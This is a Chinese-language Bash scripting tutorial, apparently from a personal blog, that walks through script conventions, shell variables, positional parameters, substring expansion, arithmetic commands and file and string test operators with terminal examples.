    1.2.3 编辑脚本使用vim

    使用 .vimrc 文件,能够快速的生成开头的注释信息

    [root@clsn scripts]# cat  ~/.vimrc
    autocmd BufNewFile *.py,*.cc,*.sh,*.java exec ":call SetTitle()"

    func SetTitle()
        if expand("%:e") == 'sh'
            call setline(1,"#!/bin/bash")
            call setline(2, "##############################################################")
            call setline(3, "# File Name: ".expand("%"))
            call setline(4, "# Version: V1.0")
            call setline(5, "# Author: clsn")
            call setline(6, "# Organization: http://blog.znix.top")
            call setline(7, "# Created Time : ".strftime("%F %T"))
            call setline(8, "# Description:")
            call setline(9, "##############################################################")
            call setline(10, "")
        endif
    endfunc

    使用后的效果

    [root@clsn scripts]# cat  scripts_test.sh
    #!/bin/bash
    ##############################################################
    # File Name: scripts_test.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-04 11:39:57
    # Description:  First scripts file
    ##############################################################

    在Shell脚本中,跟在#后面的内容表示注释。注释部分不会被执行,仅给人看。注释可以自成一行,也可以跟在命令后面,与命令同行。要养成写注释的习惯,方便自己与他人。

    最好不用中文注释,因为在不同字符集的系统会出现乱码。(字符集为zh_CN.UTF-8,为中文)。

    1.2.4 文件名规范

             名字要有意义,并且结尾以 .sh 结束

    1.2.5 开发的规范和习惯小结

    1) 放在统一的目录

    2) 脚本以.sh为扩展名

    3) 开头指定脚本解释器。

    4) 开头加版本版权等信息,可配置~/.vimrc文件自动添加。

    5) 脚本不要用中文注释,尽量用英文注释。

    6) 代码书写优秀习惯

      a、成对的内容一次性写出来,防止遗漏,如[  ]、' '、" "等

      b、[  ]两端要有空格,先输入[  ],退格,输入2个空格,再退格写。

      c、流程控制语句一次书写完,再添加内容。(if 条件 ; then  内容;fi)ddd

      d、通过缩进让代码易读。

      f、脚本中的引号都是英文状态下的引号,其他字符也是英文状态。

    1.3 shell脚本的执行

    1.3.1 执行脚本的办法

    sh/bash   scripts.sh
    chown +x   ./scripts.sh  && ./scripts.sh 
    source scripts.sh
    . (空格) scripts.sh
    cat oldboyedu.sh |bash  # 效率较低

    source 与 . (点) 的作用

    soucre命令

    [root@clsn ~]# help source  |head -2
    source: source 文件名 [参数]
        在当前 shell 中执行一个文件中的命令。

    . (点)

    [root@clsn scripts]# help . |head -2
    .: . 文件名 [参数]
        在当前 shell 中执行一个文件中的命令。

    1.3.2 sh 于 source的区别

     

    [root@clsn scripts]# sh  clsn_test.sh
    Hello World!
    [root@clsn scripts]# echo $clsn
    #  sh  新建一个Shell窗口(新建一个进程)执行一个文件中的命令。

    [root@clsn scripts]# source clsn_test.sh
    Hello World!
    [root@clsn scripts]# echo $clsn
    Hello World!

    面试题:

    问sh test.sh后echo $user返回的结果__空_ ?

    [root@oldboy scripts]# cat test.sh
    #!/bin/bash
    user=`whoami`

    1.4 Shell的变量

    1.4.1 什么是变量

    变量可以分为两类:环境变量(全局变量)和普通变量(局部变量)

      环境变量也可称为全局变量,可以在创建他们的Shell及其派生出来的任意子进程shell中使用,环境变量又可分为自定义环境变量和Bash内置的环境变量

      普通变量也可称为局部变量,只能在创建他们的Shell函数或Shell脚本中使用。普通变量一般是由开发者用户开发脚本程序时创建的。

             特殊变量

    1.4.2 环境变量

    使用 env/declare/set/export -p 命令查看系统中的环境变量,这三个命令的的输出方式稍有不同。

    [root@clsn scripts]# env
    XDG_SESSION_ID=1
    HOSTNAME=clsn
    TERM=linux
    SHELL=/bin/bash
    HISTSIZE=1000
    SSH_CLIENT=10.0.0.1 5537 22
    SSH_TTY=/dev/pts/0
    USER=root
    ~~~

             输出一个系统中的 环境变量

    [root@clsn ~]# echo $LANG
    zh_CN.UTF-8

    1.4.3 普通变量

    本地变量在用户当前的Shell生存期的脚本中使用。例如,本地变量OLDBOY取值为bingbing,这个值在用户当前Shell生存期中有意义。如果在Shell中启动另一个进程或退出,本地变量值将无效       

    定义普通变量实践

    [root@clsn ~]# a=1
    [root@clsn ~]# b='2'
    [root@clsn ~]# c="3"
    [root@clsn ~]# echo "$a"
    1
    [root@clsn ~]# echo "$b"
    2
    [root@clsn ~]# echo "${c}"

    提示:$变量名表示输出变量,可以用$c和${c}两种用法

    小结:连续普通字符串内容赋值给变量,不管用什么引号或者不用引号,它的内容是什么,打印变量就输出什么

    1.4.4 export命令

    [root@clsn ~]# help export
    export: export [-fn] [名称[=值] ...] 或 export -p
    为 shell 变量设定导出属性。

    标记每个 NAME 名称为自动导出到后续命令执行的环境。如果提供了 VALUE
    则导出前将 VALUE 作为赋值。

    export命令的说明

    当前shell窗口及子shell窗口生效

    在新开的shell窗口不会生效,生效需要写入配置文件

    # 定义变量

    [root@clsn scripts]# CSLN=clsn
    [root@clsn scripts]# export CSLN1=1

    # 当前窗口查看

    [root@clsn scripts]# echo $CSLN
    clsn
    [root@clsn scripts]# echo $CSLN1
    1

    # 编写测试脚本

    [root@clsn scripts]# vim quanju.sh
    #!/bin/bash
    echo $CSLN
    echo $CSLN1

    # 使用sh执行

    [root@clsn scripts]# sh  quanju.sh

    1

    # 使用source 执行

    [root@clsn scripts]# source quanju.sh
    clsn
    1

    1.4.5 环境变量相关配置文件

    /etc/proflie

    /etc/bashrc

    ~/.bashrc

    ~/.bash_profile

    /etc/proflie.d/  # 目录

    四文件读取顺序(CentOS6和7都一样)

    ① /etc/profile

    ② ~/.bash_profile

    ③ ~/.bashrc

    ④ /etc/bashrc

     

    文件读取过程示意图

    验证四文件读取顺序的方法

    sed -i '1a echo "$(date +%T-%s) /etc/profile1" >>/tmp/clsn' /etc/profile
    sed -i '$a echo "$(date +%T-%s) /etc/profile2" >>/tmp/clsn' /etc/profile
    sed -i '1a echo "$(date +%T-%s) /etc/bashrc1" >>/tmp/clsn' /etc/bashrc
    sed -i '$a echo "$(date +%T-%s) /etc/bashrc2" >>/tmp/clsn' /etc/bashrc
    sed -i '1a echo "$(date +%T-%s) ~/.bashrc1" >>/tmp/clsn' ~/.bashrc
    sed -i '$a echo "$(date +%T-%s) ~/.bashrc2" >>/tmp/clsn' ~/.bashrc
    sed -i '1a echo "$(date +%T-%s) ~/.bash_profile1" >>/tmp/clsn' ~/.bash_profile
    sed -i '$a echo "$(date +%T-%s) ~/.bash_profile2" >>/tmp/clsn' ~/.bash_profile

    1.4.6 环境变量的知识小结

    ü 变量名通常要大写。

    ü 变量可以在自身的Shell及子Shell中使用。

    ü 常用export来定义环境变量。

    ü 执行env默认可以显示所有的环境变量名称及对应的值。

    ü 输出时用“$变量名”,取消时用“unset变量名”。

    ü 书写crond定时任务时要注意,脚本要用到的环境变量最好先在所执行的Shell脚本中重新定义。

    ü 如果希望环境变量永久生效,则可以将其放在用户环境变量文件或全局环境变量文件里。

    1.4.7 变量中引号的使用

    只有在变量的值中有空格的时候,会使用引号。

    单引号与双引号的区别在于,是否能够解析特殊符号。

    [root@clsn ~]# name=znix
    [root@clsn ~]# name2='clsn'
    [root@clsn ~]# name3="http://blog.znix.top"
    [root@clsn ~]# echo $name
    znix
    [root@clsn ~]# echo $name2
    clsn
    [root@clsn ~]# echo $name3
    http://blog.znix.top
    [root@clsn ~]# name4='cl sn'
    [root@clsn ~]# echo $name4
    cl sn
    [root@clsn ~]# name5="cl sn"
    [root@clsn ~]# echo $name5
    cl sn
    [root@clsn ~]# name6='cl sn $PWD'
    [root@clsn ~]# echo $name6
    cl sn $PWD
    [root@clsn ~]# name6="cl sn $PWD"
    [root@clsn ~]# echo $name6
    cl sn /root

    1.4.8 普通变量的要求

    1)     内容是纯数字、简单的连续字符(内容中不带任何空格)时,定义时可以不加任何引号,例如:

    a.ClsnAge=22

    b.NETWORKING=yes

    2)     没有特殊情况时,字符串一律用双引号定义赋值,特别是多个字符串中间有空格时,例如:

    a.NFSD_MODULE="no load"

    b.MyName="Oldboy is a handsome boy."

    3)     当变量里的内容需要原样输出时,要用单引号(M),这样的需求极少,例如:

    a.OLDBOY_NAME='OLDBOY'

    变量使用反引号赋值

    [root@clsn scripts]# time=`date`
    [root@clsn scripts]# echo $time
    2017年 12月 05日 星期二 09:02:06 CST
       
    [root@clsn scripts]# file=`ls`
    [root@clsn scripts]# echo $file
    clsn_test.sh panduan.sh quanju.sh yhk.sh

    使用${}

    打印变量的时候防止出现“金庸新著”的问题

    [root@clsn scripts]# time=`date`
    [root@clsn scripts]# echo $time_day

    [root@clsn scripts]# echo ${time}_day
    2017年 12月 05日 星期二 09:02:06 CST_day
    [root@clsn scripts]# echo $time-day
    2017年 12月 05日 星期二 09:02:06 CST-day

    编写脚本测试${}

    # 使用脚本测试
    [root@clsn scripts]# vim bianliang.sh
    #!/bin/bash
    #############################################################
    # File Name: bianliang.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-05 09:10:29
    # Description:
    #############################################################
       
    time=`date`
    echo $timeday
    echo ${time}day
       
    [root@clsn scripts]# sh  bianliang.sh
       
    2017年 12月 05日 星期二 09:11:19 CSTday

    1.4.9 定义变量名技巧

    1. 变量名只能为字母、数字或下划线,只能以字母或下划线开头。

    2. 变量名的定义要有一定的规范,并且要见名知意。

    示例:

    ClsnAge=22       #<==每个单词的首字母大写的写法

    clsn_age=22      #<==单词之间用"_"的写法

    clsnAgeSex=man   #<==驼峰语法:首个单词的首字母小写,其余单词首字母大写

    CLSNAGE=22       #<==单词全大写的写法

    3. 一般的变量定义、赋值常用双引号;简单连续的字符串可以不加引号;希望原样输出时使用单引号。

    4. 希望变量的内容是命令的解析结果时,要用反引号'',或者用$()把命令括起来再赋值。

    1.5 特殊变量

    1.5.1 位置变量

    常用的特殊位置参数说明

    位置变量

    作用说明

    $0

    获取当前执行的shell脚本的文件名,如果执行脚本带路径那么就包括脚本路径。

    $n

    获取当前执行的shell脚本的第n个参数值,n=1..9,当n为0时表示脚本的文件名,如果n大于9用大括号括起来{10},参数以空格隔开。

    $#

    获取当前执行的shell脚本后面接的参数的总个数

    $*

    获取当前shell的所有传参的参数,不加引号同$@;如果给$*加上双引号,例如: “$*”,则表示将所有的参数视为单个字符串,相当于“1  2$3”。

    $@

    获取当前shell的所有传参的参数,不加引号同$*;如果给$@加上双引号,例如: “$@”,则表示将所有参数视为不同的独立字符串,相当于“$1” “$2” “$3” “……”,这是将参数传递给其他程序的最佳方式,因为他会保留所有内嵌在每个参数里的任何空白。

    当“$*”和“$@”都加双引号时,两者有区别,都不加双引号时,两者无区别。

    0,  1.$2 ~ 参数实践

    [root@clsn scripts]# vim chanshu.sh
    #!/bin/bash
    #############################################################
    # File Name: chanshu.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-05 09:39:16
    # Description:
    #############################################################
       
    echo $0
    echo "第一个参数:" $1
    echo "第二个参数:" $2
    echo "第11个参数:" ${11}
    [root@clsn scripts]# sh chanshu.sh
    chanshu.sh
    第一个参数:
    第二个参数:
    第11个参数:
    [root@clsn scripts]# sh chanshu.sh 1 2 3 4 5 6 7 8 9 10 11
    chanshu.sh
    第一个参数: 1
    第二个参数: 2
    第11个参数: 11

    $# 参数实践

    [root@clsn scripts]# vim chanshu.sh
    #############################################################
    # File Name: chanshu.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-05 09:39:16
    # Description:
    #############################################################


    echo $0
    echo "第一个参数:" $1
    echo "第二个参数:" $2
    echo "第10个参数:" ${10}
    echo "第11个参数:" ${11}
    echo "参数个数:" $#



    [root@clsn scripts]# sh chanshu.sh 55 2 3 4 5 6 7 8 9 10 11 112
    chanshu.sh
    第一个参数: 55
    第二个参数: 2
    第10个参数: 10
    第11个参数: 11
    参数个数: 12

    $* 参数实践

    [root@clsn scripts]# vim chanshu.sh
    #############################################################
    # File Name: chanshu.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-05 09:39:16
    # Description:
    #############################################################

    echo $0
    echo "第一个参数:" $1
    echo "第二个参数:" $2
    echo "第10个参数:" ${10}
    echo "第11个参数:" ${11}
    echo "参数个数:" $#
    echo "参数:" $*
    "chanshu.sh" 18L, 456C 已写入                                 
    [root@clsn scripts]# sh chanshu.sh 55 2 3 4 5 6 7 8 9 10 11 112
    chanshu.sh
    第一个参数: 55
    第二个参数: 2
    第10个参数: 10
    第11个参数: 11
    参数个数: 12
    参数: 55 2 3 4 5 6 7 8 9 10 11 112

    $* 与 $@ 对比实践

    [root@clsn scripts]# set -- "I am" handsome boy..
    [root@clsn scripts]# echo $1
    I am
    [root@clsn scripts]# echo $2
    handsome
    [root@clsn scripts]# echo $3
    boy..
    [root@clsn scripts]# echo $*
    I am handsome boy..
    [root@clsn scripts]# echo $@
    I am handsome boy..

    [root@clsn scripts]# for i in $*;do echo $i ;done
    I
    am
    handsome
    boy..
    [root@clsn scripts]# for i in $@;do echo $i ;done
    I
    am
    handsome
    boy..
    [root@clsn scripts]# for i in "$@";do echo $i ;done
    I am
    handsome
    boy..
    [root@clsn scripts]# for i in "$*";do echo $i ;done
    I am handsome boy..

    1.5.2 进程状态变量

    Shell进程的特殊状态变量说明

    参数

    参数说明

    -n

    不要追加换行

    -e

    启用下列反斜杠转义的解释

    -E

    显式地抑制对于反斜杠转义的解释

    `echo' 对下列反斜杠字符进行转义:

    \n

    换行

    \r

    回车

    \t

    横向制表符

    \b

    退格

    \v

    纵向制表符

    \c

    抑制更多的输出

    1.6 定义变量的方式

    1.6.1 三种定义变量的方式

      1、直接赋值

      2、传参 (传递参数)

      3、交互式设置变量,使用read命令

    1.6.2 read命令说明

    在命令行中使用

    [root@clsn scripts]# read
    132
    [root@clsn scripts]# echo $REPLY
    132
    [root@clsn scripts]# read clsn
    456
    [root@clsn scripts]# echo $clsn
    456
    [root@clsn scripts]# echo $REPLY
    132

    在脚本中使用

    [root@clsn scripts]# vim clsn_test.sh
    #!/bin/bash
    read -p '请输入:'  clsn

    echo $clsn

    执行结果

    [root@clsn scripts]# sh clsn_test.sh
    请输入:clsn_znix
    clsn_znix

    read命令的帮助说明

    [root@clsn scripts]# read --help
    -bash: read: --: 无效选项
    read: 用法:read [-ers] [-a 数组] [-d 分隔符] [-i 缓冲区文字] [-n 读取字符数] [-N 读取字符数] [-p 提示符] [-t 超时] [-u 文件描述符] [-s不显示终端的任何输入] [名称 ...]

    1.6.3 定义方法实践

    直接赋值方法

    [root@clsn scripts]# vim bianliang.sh
    # File Name: bianliang.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-05 09:10:29
    # Description:
    ##############################################################
    name=CLSN
    age=22
    sex=Man
    hobby=`ls`
    ethFile=/etc/sysconfig/network-scripts/ifcfg-eth0

    echo $hobby
    ls $ethFile
    [root@clsn scripts]# sh  bianliang.sh
    bianliang.sh chanshu.sh clsn.sh clsn_test.sh panduan.sh quanju.sh xiugaizhuji.sh yhk.sh
    /etc/sysconfig/network-scripts/ifcfg-eth0

    传参 (传递参数)

    [root@clsn scripts]# vim bianliang.sh
    ##############################################################
    # File Name: bianliang.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-05 09:10:29
    # Description:
    ##############################################################
    name=CLSN
    age=22
    sex=Man
    hobby=$1
    ethFile=$2

    echo $hobby
    ls $ethFile
    [root@clsn scripts]# sh  bianliang.sh  clsn /etc/hostname
    clsn
    /etc/hostname

    交互式设置变量 read

    [root@clsn scripts]# vim yhk.sh
    #!/bin/bash
    ##############################################################
    # File Name: yhk.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-04 17:01:44
    # Description:
    ##############################################################
    read -p  "请输入你的银行卡号:"  Yhk
    read -s -p  "请输入密码:" miMa
    echo
    echo "你的银行卡号:"  $Yhk
    echo "你的密码为:" $miMa
    # 测试结果
    [root@clsn scripts]# sh  yhk.sh
    请输入你的银行卡号:123456
    请输入密码:
    你的银行卡号: 123456
    你的密码为: 123456

    1.6.4 写一个交互脚本,实现能够定义主机名及IP地址

    脚本内容↓

    [root@clsn scripts]# cat xiugaizhuji.sh
    #!/bin/bash
    #############################################################
    # File Name: jiaohu.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-05 10:55:42
    # Description:
    #############################################################

    ethFile=/etc/sysconfig/network-scripts/ifcfg-eth[01]
    Now_eth=`hostname -I|awk -F "[. ]+" '{print $4}'`

    read -p "请输入主机名:" Hostname
    read -p "请输入IP地址的主机位:" HostIP

    hostnamectl set-hostname  $Hostname

    sed  -i "s#${Now_eth}#${HostIP}#g" $ethFile

    read -p "是否重启服务器:{yes/no}"  REboot

    if [ $REboot == yes ]
    then
       echo "系统将在10秒后重启!"
       shutdown -r  10
    else
       echo "请稍后手动重启系统!"
    fi

    脚本测试结果

    [root@clsn scripts]# sh xiugaizhuji.sh
    请输入主机名:clsn
    请输入IP地址的主机位:180
    是否重启服务器:{yes/no}yes
    系统将在10秒后重启!
    [root@clsn scripts]# sh xiugaizhuji.sh
    请输入主机名:clsn
    请输入IP地址的主机位:180
    是否重启服务器:{yes/no}no
    请稍后手动重启!

    1.7 变量的子串

    1.7.1 变量子串说明

    表达式

    说明

    ${parameter}

    返回变量$parameter的内容

    ${#parameter}

    返回变内容的长度(按字符),也适用于特殊变量

    ${parameterioffset}

    在变量${parameter}中,从位置offset之后开始提取子串到结尾

    ${parameter:offset:length}

    在变量${parameter}中,从位置offset之后开始提取长度为length的子串

    ${parameter#word}

    从变量${parameter}开头开始删除最短匹配的word子串

    ${parameter##word}

    从变量${parameter}开头开始删除最长匹配的word子串

    ${parameter%word}

    从变量${parameter}结尾开始删除最短匹配的word子串

    ${parameter%%word}

    从变量${parameter}结尾开始删除最长匹配的word子串

    ${parameter/pattem/string}

    使用string代替第一个匹配的pattern

    ${parameter//pattem/string}

    使用string代替所有匹配的pattern

    计算变赋值的长度

    [root@clsn scripts]# clsn=http://blog.znix.top
    [root@clsn scripts]# echo ${clsn} |wc -L
    20
    [root@clsn scripts]# echo ${#clsn}
    20
    [root@clsn scripts]# time echo ${clsn} |wc -L
    20

    real    0m0.002s
    user    0m0.002s
    sys    0m0.000s
    [root@clsn scripts]# time echo ${#clsn}
    20

    real    0m0.000s
    user    0m0.000s
    sys    0m0.000s

    截取变量中的字符

    [root@clsn scripts]# clsn=abcABC123ABCabc
    [root@clsn scripts]# echo ${clsn#abc}
    ABC123ABCabc
    [root@clsn scripts]# echo ${clsn##abc}
    ABC123ABCabc
    [root@clsn scripts]# echo ${clsn%abc}
    abcABC123ABC
    [root@clsn scripts]# echo ${clsn%%abc}
    abcABC123ABC
    [root@clsn scripts]# echo ${clsn#a*c}
    ABC123ABCabc
    [root@clsn scripts]# echo ${clsn##a*c}

    [root@clsn scripts]# echo ${clsn%a*c}
    abcABC123ABC
    [root@clsn scripts]# echo ${clsn%%a*c}

    [root@clsn scripts]# echo ${clsn#a*C}
    123ABCabc
    [root@clsn scripts]# echo ${clsn#a*C}
    123ABCabc
    [root@clsn scripts]# echo ${clsn##a*C}
    abc
    [root@clsn scripts]# echo ${clsn%a*c}
    abcABC123ABC
    [root@clsn scripts]# echo ${clsn%A*c}
    abcABC123
    [root@clsn scripts]# echo ${clsn%%A*c}
    abc

    替换变量内容

    [root@clsn scripts]# echo $clsn
    abcABC123ABCabc
    [root@clsn scripts]# echo ${clsn/abc/clsn}
    clsnABC123ABCabc
    [root@clsn scripts]# echo ${clsn//abc/clsn}
    clsnABC123ABCclsn

    有关上述匹配删除的小结

    #表示从幵头删除匹配最短。

    ##表示从开头删除匹配最长。

    %表示从结尾删除匹配最短。

    %%表示从结尾删除匹配最长。

    a*c表示匹配的突符串,*表示匹配所有,a*c匹配开头为a、中间为任意多个字符、结尾为c的字符串。

    a*C表示匹配的字符串,*表示匹配所有,a*C匹配开头为a、中间为任意多个字符、结尾为C的字符串。

    有关替换的小结

    一个“/”表示替换匹配的第-个字符串。

    两个“/”表示替换匹配的所有字符串。

    1.7.2 Shell的特殊扩展变量说明

    表达式

    说明

    ${parameter:-word}

    如果parameter的变量值为空或未赋值,则会返回word字符串并替代变量的值用途.如果变量未定义,则返回备用的值,防止变量为空值或因未定义而导致异常

    ${parameter:=word}

    如果parameter的变量值为空或未赋值,则设置这个变量值为word,并返回其值。位置变量和特殊变量不适用用途:基本同上一个${parameter>word},但该变量又额外给parameter变量赋值了

    ${parameter:?word}

    如果parameter变量值为空或未赋值,那么word字符串将被作为标准错误输出,否则输出变量的值。用途:用于捕捉由于变量未定义而导致的错误,并退出程序

    ${parameter:+word}

    如果parameter变量值为空或未赋值,则什么都不做,否则word字符串将替代变量的值

    特殊变量实践

    脚本内容

    [root@clsn scripts]# cat  clsn.sh
    #!/bin/bash
    #############################################################
    # File Name: clsn.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-05 12:13:38
    # Description:
    #############################################################
    dir=
    echo ${dir:-/tmp}
    echo ${dir}
    echo ${dir:=/mnt}
    echo ${dir}
    dir2= (空格)
    echo ${dir2-/tmp}
    echo ${dir2}
    echo ${dir2:-/tmp}
    echo ${dir2}
    echo ${dir2=/mnt}
    echo ${dir2}

    测试结果

    [root@clsn scripts]# sh clsn.sh
    /tmp

    /mnt
    /mnt


    /tmp

    至此shell中的变量就都介绍完了

    1.8 变量的数值计算

    1.8.1 仅支持整数的运算

    echo $((数学运算表达式))

    # 形式一
    [root@clsn scripts]# echo $((1 + 1))
    2
    [root@clsn scripts]# echo $((2*7-3/6+5))
    19
    # 形式二
    [root@clsn scripts]# ((clsn=2*8))
    [root@clsn scripts]# echo $clsn
    16
    # 形式三
    [root@clsn scripts]# znix=$((2*7-3/6+5))
    [root@clsn scripts]# echo $znix
    19

    延伸产物(重要)

    i++ 自增1

    i-- 自减1

    ++i

    --i

             示例:

    [root@clsn scripts]# i=1
    [root@clsn scripts]# echo $((i++))
    1
    [root@clsn scripts]# echo $((i++))
    2
    [root@clsn scripts]# echo $((i--))
    3
    [root@clsn scripts]# echo $((i--))
    2
    [root@clsn scripts]# echo $((i--))
    1
    [root@clsn scripts]# echo $((++i))
    1
    [root@clsn scripts]# echo $((++i))
    2
    [root@clsn scripts]# echo $((++i))
    3
    [root@clsn scripts]# echo $((--i))
    2
    [root@clsn scripts]# echo $((--i))
    1
    [root@clsn scripts]# echo $((--i))
    0

    记忆方法:++,--

    变量a在前,表达式的值为a,然后a自增或自减,变量a在符号后,表达式值自增或自减,然后a值自增或自减。

    let命令

    [root@clsn scripts]# i=1
    [root@clsn scripts]# i=i+1
    [root@clsn scripts]# echo $i
    i+1

    [root@clsn scripts]# i=1
    [root@clsn scripts]# let i=i+1
    [root@clsn scripts]# echo $i
    2

    expr 命令

    1.整数计算

    2.判断扩展名

    3.判断输入是否为整数,非整数返回值为2

    4.计算变量的长度

    [root@clsn scripts]# expr 1+1
    1+1
    [root@clsn scripts]# expr 1 + 1
    2
    [root@clsn scripts]# expr 1 * 1
    expr: 语法错误
    [root@clsn scripts]# expr 1 \* 1
    1

    非整数返回值为2 示例:

    [root@clsn scripts]# expr 1 + 1
    2
    [root@clsn scripts]# echo $?
    0
    [root@clsn scripts]# expr -1 + 1
    0
    [root@clsn scripts]# echo $?
    1
    [root@clsn scripts]# expr a + 1
    expr: 非整数参数
    [root@clsn scripts]# echo $?
    2

    $[]运算符

    [root@clsn scripts]# echo $[1+2]
    3
    [root@clsn scripts]# echo $[1-2]
    -1
    [root@clsn scripts]# echo $[1*2]
    2
    [root@clsn scripts]# echo $[1/2]
    0

    [root@clsn scripts]# typeset -i A=2017 B=2018
    [root@clsn scripts]# A=A+B
    [root@clsn scripts]# echo $A
    4035

    1.8.2 可以进行小数运算的命令

    bc    命令

    # 安装 bc  依赖于base源
    [root@clsn scripts]# yum -y install bc

      交互模式测试bc命令

    [root@clsn scripts]# bc
    bc 1.06.95
    Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.
    1+1
    2
    [root@clsn scripts]# echo 1+1.1|bc
    2.1

    免交互模式测试bc命令

    [root@clsn scripts]# echo 'scale=6;1/3'|bc
    .333333

    python 命令

    [root@clsn scripts]#  file `which yum `
    /usr/bin/yum: Python script, ASCII text executable
    [root@clsn scripts]# python
    >>> import os
    >>> os.system('df -h')
    >>> 1+1.1
    2.1
    >>>exit()

    awk 命令

    [root@clsn ~]# echo "7.7 3.8"|awk '{print ($1-$2)}'
    3.9
    [root@clsn ~]# echo "358 113"|awk '{print ($1-3)/$2}'
    3.14159
    [root@clsn ~]# echo "3 9"|awk '{print ($1+3)*$2}'
    54
    [root@backup scripts]# awk BEGIN'{print 1.2+3.3}'
    4.5

    1.8.3 运算相关练习题

    1.8.3.1 【练习题】实现一个加减乘除等功能的计算器

    实现脚本:

    [root@clsn scripts]# cat jishuanqi.sh
    #!/bin/bash
    #############################################################
    # File Name: jishuanqi.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-06 08:57:13
    # Description:
    #############################################################

    read -p "请输入第一个整数:" a
    read -p "请输入第二个整数:" b


    echo $a + $b =$(($a+$b))
    echo $a - $b =$(($a-$b))
    echo $a \* $b =$(($a*$b))
    echo $a / $b =$(($a/$b))

             脚本执行过程:

    [root@clsn scripts]# sh jishuanqi.sh
    请输入第一个整数:12
    请输入第二个整数:12
    12 + 12 =24
    12 - 12 =0
    12 * 12 =144
    12 / 12 =1

    精简方法

    [root@clsn scripts]# vim jishuanqi2.sh
    #!/bin/bash
    #############################################################
    # File Name: jishuanqi2.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-06 15:02:41
    # Description:
    #############################################################
    echo $(($1))

             脚本执行过程:

    [root@clsn scripts]# sh jishuanqi2.sh  1+1
    2
    [root@clsn scripts]# sh jishuanqi2.sh  1*9
    9

    1.8.3.2 【练习题】打印结果1+2+3+4+5+6+7+8+9+10=55

    脚本内容

    [root@clsn scripts]# vim yunshuan.sh
    #!/bin/bash
    #############################################################
    # File Name: yunshuan.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-06 09:40:31
    # Description:
    #############################################################

    Num=`seq -s + 1 10`
    echo  $Num=$(($Num))

    脚本执行结果

    [root@clsn scripts]# sh  yunshuan.sh
    1+2+3+4+5+6+7+8+9+10=55

    1.9 补充说明

    shell脚本中批量注释的方法

    <<'EOF'
    文件内容
    EOF
       或
       使用 exit可以注释其之后的所有内容(类似注释,实质为不执行后面的内容)

     

    Shell编程基础篇-下

    2.1 条件表达式

    2.1.1 文件判断

    常用文件测试操作符

    常用文件测试操作符

    说明

    -d文件,d的全拼为directory

    文件存在且为目录则为真,即测试表达式成立

    -f文件,f的全拼为file

    文件存在且为普通文件则为真,即测试表达式成立

    -e文件,e的全拼为exist

    文件存在则为真,即测试表达式成立。注意区别于“-f”,-e不辨别是目录还是文件

    -r文件,r的全拼为read

    文件存在且可读则为真,即测试表达式成立

    -s文件,s的全拼为size

    文件存在且文件大小不为0则为真,即测试表达式成立

    -w文件,w的全拼为write

    文件存在且可写则为真,即测试表达式成立

    -x文件,x的全拼为executable   

    文件存在且可执行则为真,即测试表达式成立

    -L文件,L的全拼为link

    文件存在且为链接文件则为真,即测试表达式成立

    fl -nt f2,nt 的全拼为 newer than

    文件fl比文件f2新则为真,即测试表达式成立。根据文件的修改时间来计算

    fl -ot f2,ot 的全拼为 older than

    文件fl比文件f2旧则为真,即测试表达式成立。根据文件的修改时间来计算

    判断文件是否存在

    [root@clsn scripts]# [ -f /etc/hosts ]
    [root@clsn scripts]# echo $?
    0
    [root@clsn scripts]# [ -f /etc/hosts1 ]
    [root@clsn scripts]# echo $?
    1

    判断文件是否存在,返回方式

    [root@clsn scripts]# [ -f /etc/hosts ] && echo "文件存在" || echo "文件不存在"
    文件存在
    [root@clsn scripts]# [ -f /etc/hosts1 ] && echo "文件存在" || echo "文件不存在"
    文件不存在

    判断目录是否存在

    [root@clsn scripts]# [ -d /tmp ] && echo "目录存在" || echo "目录不存在"
    目录存在
    [root@clsn scripts]# [ -d /tmp1 ] && echo "目录存在" || echo "目录不存在"
    目录不存在

    使用变量的方法进行判断

    dir=/etc1/;[ -d $dir ] && tar zcf etc.tar.gz $dir || echo "$dir目录不存在"

    2.1.2 字符串判断

    字符串测试操作符 

    常用字符串测试操作符

    说明

    -n "字符串"

    若字符串的长度不为0,则为真,即测试表达式成立,n可以理解为no zero

    -Z "字符串"

    若字符串的长度为0,则为真,即测试表达式成立,z可以理解为zero的缩写

    "串 1"== "串 2"

    若字符串1等于字符串2,则为真,即测试表达式成立,可使用"=="代替"="

    "串 1" != "串 2"        

    若字符串1不等于字符串2,则为真,即测试表达式成立,但不能用"!=="代替"!="

    1.对于字符串的测试,一定要将字符串加双引号之后再进行比较。

    2.空格非空

    -z 判断字符串长度

    [root@clsn scripts]# x=  ; [ -z "$x" ] && echo "输入为空" || echo '输入有内容'
    输入为空
    [root@clsn scripts]# x=12 ; [ -z "$x" ] && echo "输入为空" || echo '输入有内容'
    输入有内容

    -n 判断字符串长度

    [root@clsn scripts]# x=12 ; [ -n "$x" ] && echo "输入有内容" || echo '输入为空'
    输入有内容
    [root@clsn scripts]# x= ; [ -n "$x" ] && echo "输入有内容" || echo '输入为空'
    输入为空

    "串 1" == " 串 2 "       使用定义变量的方式进行判断

    cmd=$1
    [ "$cmd" == "start" ] && echo start
    # 测试
    [root@clsn scripts]# cmd=start;[ "$cmd" == "start" ] && echo start
    start

    2.1.3 整数判断

    整数二元比较操作符参考

    在[]以及test中

    使用的比较符号

    在(())和[[]]中

    使用的比较符号

    说明

    -eq

    ==或=

